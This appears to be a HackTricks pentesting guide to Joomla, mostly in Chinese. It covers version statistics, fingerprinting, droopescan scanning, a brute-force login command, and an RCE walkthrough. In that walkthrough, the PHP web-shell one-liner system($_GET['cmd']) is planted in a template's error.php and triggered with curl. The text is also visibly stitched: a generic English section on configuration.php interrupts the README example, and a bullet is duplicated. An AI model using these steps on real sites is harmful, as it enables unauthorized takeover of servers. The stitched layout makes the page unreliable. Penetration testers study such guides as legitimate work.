hacktricks/network-services-pentesting/pentesting-web/joomla.md

Joomla

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Joomla统计信息

Joomla收集一些匿名的使用统计信息，例如Joomla、PHP和数据库版本的分布以及Joomla安装中使用的服务器操作系统。 可以通过他们的公共API查询这些数据。

curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool

{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}

枚举

发现/足迹

• 检查 meta

curl https://www.joomla.org/ | grep Joomla | grep generator

<meta name="generator" content="Joomla! - Open Source Content Management" />

• robots.txt

• robots.txt

# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]

• README.txt

Joomla

Joomla Configuration File

The Joomla configuration file configuration.php contains sensitive information such as database credentials and secret keys. It is located in the root directory of the Joomla installation.

Finding Joomla Configuration File

To find the Joomla configuration file, you can use various methods such as:

1. Manual Inspection: Look for configuration.php in the root directory of the Joomla installation.

2. Automated Tools: Tools like Joomscan can help in identifying the Joomla configuration file.

Joomla Configuration File Structure

The Joomla configuration file has a specific structure that includes database connection settings, secret keys, and other configuration options. Understanding this structure is crucial for extracting valuable information during a penetration test.

Exploiting Joomla Configuration File

Once you have access to the Joomla configuration file, you can extract sensitive information like database credentials, secret keys, and other configuration details. This information can be used to further exploit the Joomla application or escalate privileges on the target system.

Protecting Joomla Configuration File

To protect the Joomla configuration file from unauthorized access, ensure that proper file permissions are set. Restrict access to the file using secure configurations and regularly monitor for any unauthorized changes.

1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging

版本

• 在 /administrator/manifests/files/joomla.xml 中可以看到版本。
• 在 /language/en-GB/en-GB.xml 中可以获取 Joomla 的版本。
• 在 plugins/system/cache/cache.xml 中可以看到一个大致的版本。

droopescan scan joomla --url http://joomla-site.local/

Brute-Force

您可以使用此脚本尝试对登录进行暴力破解。

sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

admin:admin

RCE

如果你成功获取了管理员凭证，你可以通过添加一小段PHP代码来实现RCE。我们可以通过自定义一个模板来实现这一点。

1. 在Configuration下方点击**Templates**以打开模板菜单。
2. 点击一个模板名称。让我们选择Template列标题下的**protostar。这将带我们到Templates: Customise**页面。
3. 最后，你可以点击一个页面以查看页面源代码。让我们选择**error.php页面。我们将添加一个PHP 一行代码来执行代码**，如下所示：

   system($_GET['cmd']);
   

4. 保存并关闭
5. curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id